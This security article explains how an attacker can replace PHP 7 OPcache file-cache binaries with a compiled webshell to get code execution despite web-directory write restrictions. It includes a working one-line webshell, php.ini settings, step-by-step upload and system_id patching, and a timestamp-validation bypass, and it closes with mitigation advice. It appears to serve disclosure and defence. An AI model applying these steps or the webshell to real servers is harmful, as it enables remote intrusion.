How to Bypass PHP 7 OPcache File Restrictions with a Binary Webshell

In this article we discuss security issues in the PHP 7 OPcache engine and introduce a novel exploitation technique that can bypass certain hardening measures such as prohibiting file read/write in web directories, allowing an attacker to execute malicious code on the target host.

What is OPcache?

OPcache is a new caching engine embedded in PHP 7.0. It compiles PHP scripts into bytecode and stores the compiled results in shared memory, reducing the overhead of loading and parsing scripts on each request.

OPcache can also provide a file‑system cache. The cache directory must be defined in php.ini with opcache.file_cache=/tmp/opcache. Compiled scripts are saved under the same directory structure as the original source, e.g., /tmp/opcache/[system_id]/var/www/index.php.bin, where system_id is an MD5 hash of PHP version, Zend extension ID, and other data.

The OPcache cache directory is writable by the web‑server user (e.g., www-data), which means an attacker with write access can replace cached files and execute a webshell.

Attack Scenario

The attacker first discovers the cache folder path ( /tmp/opcache/[system_id]) and the target PHP file path (e.g., /var/www/index.php). Assuming the site has a phpinfo() page, the attacker can extract information to compute system_id. A tool for extracting this data is available on the authors' GitHub repository.

Typical php.ini settings used in the attack:

opcache.validate_timestamp = 0    ; PHP 7's default is 1
opcache.file_cache_only = 1       ; PHP 7's default is 0
opcache.file_cache = /tmp/opcache

Steps to carry out the attack:

Create a malicious PHP file containing a webshell, e.g.:

<?php
system($_GET['cmd']);
?>

Add the appropriate opcache.file_cache settings to php.ini.

Start a local PHP server ( php -S 127.0.0.1:8080) and request the malicious file to trigger caching (e.g., wget 127.0.0.1:8080).

Locate the generated index.php.bin file in the cache directory; this file now contains the compiled webshell.

If the local system_id differs from the target's, edit index.php.bin to replace the system_id with the target's value.

Upload the modified index.php.bin to /tmp/opcache/[system_id]/var/www/ on the target server.

Refresh the target site’s index.php; the webshell will be executed.

Bypassing memory cache (when file_cache_only = 0) can be achieved by forcing OPcache to load the file‑cache into memory after a server restart, allowing code execution without rebooting.

Timestamp validation bypass: if the server validates timestamps ( validate_timestamps = 1), the attacker must know the original file’s timestamp. In many WordPress installations, certain files (e.g., registration-functions.php) have unchanged timestamps since 2012, making it possible to craft malicious binaries that match the expected timestamp and replace cached data.

In summary, this binary webshell technique does not exploit a generic PHP vulnerability but leverages OPcache’s caching behavior. Since many Linux distributions (e.g., Ubuntu 16.04) ship PHP 7 by default, developers should audit their code, enforce strict file‑upload restrictions, and review OPcache configuration to mitigate this risk.